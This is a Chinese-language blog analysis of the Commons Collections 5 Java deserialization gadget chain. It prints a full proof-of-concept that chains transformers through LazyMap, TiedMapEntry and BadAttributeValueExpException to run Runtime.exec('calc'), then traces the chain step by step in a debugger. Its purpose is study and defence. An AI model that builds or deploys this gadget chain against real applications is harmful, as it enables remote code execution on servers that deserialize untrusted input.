Java安全之Commons Collections5分析

Java安全之CommonsCollections5分析文章首发:Java安全之CommonsCollections5分析0x00前言在后面的几条CC链中,如果和前面的链构造都是基本一样的

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections5分析

文章首发:Java安全之Commons Collections5分析

0x00 前言

在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。

HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

前面的new了一个HashMap传入到LazyMap里面,同时也传入了 ChainedTransformer实例化对象,当调用get方法的时候,就会调用到 ChainedTransformer的transformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。

 TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

TiedMapEntry是一个新生面孔,来查看一下该类源码。

Java安全之Commons Collections5分析

该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

Java安全之Commons Collections5分析

而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

Java安全之Commons Collections5分析

而在toString方法里面就会去调用到getValue方法。

 BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

Java安全之Commons Collections5分析

在BadAttributeValueExpException的readObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObj的toString方法。

0x02 CC5链调试

在readObject复写点打个断点,也就是BadAttributeValueExpException的readObject方法。

Java安全之Commons Collections5分析

上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。

这里会去调用valObj的toString方法,也就是TiedMapEntry的toString方法。跟进一下该方法,查看调用。

Java安全之Commons Collections5分析

这里面会去调用getKey和getValue方法,这里选择跟踪getValue方法。

Java安全之Commons Collections5分析

这里的this.map为LazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

Java安全之Commons Collections5分析

这里会去调用this.factory的transform,也就是ChainedTransformer的transform。再来跟进一下。

Java安全之Commons Collections5分析

接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

Java安全之Commons Collections5分析

这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。

Java安全之Commons Collections5分析

Java安全之Commons Collections5分析

第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

Java安全之Commons Collections5分析

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

Java安全之Commons Collections5分析

第四次执行里面的this.iMethodName为exec,this.iArgs为calc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

Java安全之Commons Collections5分析

调用链

BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

0x03 结尾

其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119904.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长

相关推荐

  • 【Redis】Redis4.0、5.0、6.0版本特性整理「建议收藏」

    【Redis】Redis4.0、5.0、6.0版本特性整理「建议收藏」文章目录Redis版本特性Redis4模块系统PSYNC2.0缓存驱逐策略优化LazyFree交换数据库混合持久化内存命令兼容NAT和DockerActiveDefrag其他Redis5Stream类型新的Redis模块API集群管理器更改Lua改进RDB格式变化动态HZZPOPMIN&ZPOPMAX命令CLIENT新增命令其他Redis6多线程IOSSL支持ACL支持RESP3客户端缓存集群代理Disquemodule其他Redis版本特性Redis4模块系统​ R

    2022年11月1日
  • 用 CSS 隐藏页面元素

    用 CSS 隐藏页面元素用 CSS 隐藏页面元素

    2022年4月24日
  • 一篇文章带你揭 秘现代浏览器原理与方法_浏览器发送请求原理

    一篇文章带你揭 秘现代浏览器原理与方法_浏览器发送请求原理现代浏览器原理揭秘首先我们先了解一些关键的计算机术语以及Chrome浏览器的多进程架构。前提计算机基础概念1.CPU(CentralProcessingUnit)中央处理器,解释计算机指令以及处理计算机软件中的数据,功能强大,它可以串行地一件接着一件处理交给它的任务现代电脑上cpu通常会有多个核心,比如经常听到的8核处理器,4核处理器等等。因为多核心CPU可以大大提高手机和电脑的运算能力CPU的核心数是指物理上,也就是硬件上存在着几个核心。比如,双核就是包括2个相对独立的CPU核心

    2022年9月16日
  • NDT配准原理_icp配准算法

    NDT配准原理_icp配准算法文章目录NDT预备知识正态分布高斯牛顿法求解非线性最小二乘NDT原理(1)目标函数(2)简化目标函数(3)数值求解(4)算法流程:(5)相比ICP的优势NDT源码解析与其在PCL应用参考资料NDT预备知识正态分布n维正态随机过程中,其概率密度函数为:p(x⃗)=1(2π)D/2∣Σ∣exp⁡(−(x⃗−μ⃗)TΣ−1(x⃗−μ⃗)2)(1)p(\vec{x})=\frac{1}{(2\pi)^{D/2}\sqrt{|\boldsymbol{\Sigma}|}}\exp\left(-\f

    2022年10月27日
  • Enterprise Library概述

    Enterprise Library概述Webcast网络讲座:企业库系统课程企业库(EnterpriseLibrary)是微软的模式与实践(Patterns&Practices)的下一代应用程序块(ApplicationBlocks)。该企业库的设计思想是为了协助开发商解决企业级应用开发过程中所面临的一系列共性的问题,如安全(Security)、日志(Logging)、数据访问(DataA…

    2022年10月20日
  • SpringMVC 工作流程

    SpringMVC 工作流程SpringMVC的工作原理图:SpringMVC流程1、 用户发送请求至前端控制器DispatcherServlet。2、 DispatcherServlet收到请求调用HandlerMapping处理器映射器。3、 处理器映射器找到具体的处理器(可以根据xml配置、注解进行查找),生成处理器对象及处理器拦截器(如果有则生成)一并返回给Dispatc…

    2022年6月7日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号